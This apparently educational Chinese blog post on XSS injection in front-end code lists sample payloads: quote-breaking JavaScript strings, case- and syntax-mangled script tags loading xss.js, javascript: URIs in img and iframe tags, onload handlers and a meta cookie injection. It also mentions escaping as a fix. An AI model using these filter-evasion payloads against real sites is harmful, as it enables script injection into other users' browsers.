前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//

";alert('xss');//

'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>

<script/SRC="xss.js"></script>

<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">

<img """><script>alert("xss")</script>">

<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>

<script =">" SRC="xss.js"></script>

<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>

<iframe src="javascript:alert('xss');"></iframe>

<embed src="xss.swf" AllowScriptAccess="always"></embed>

<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。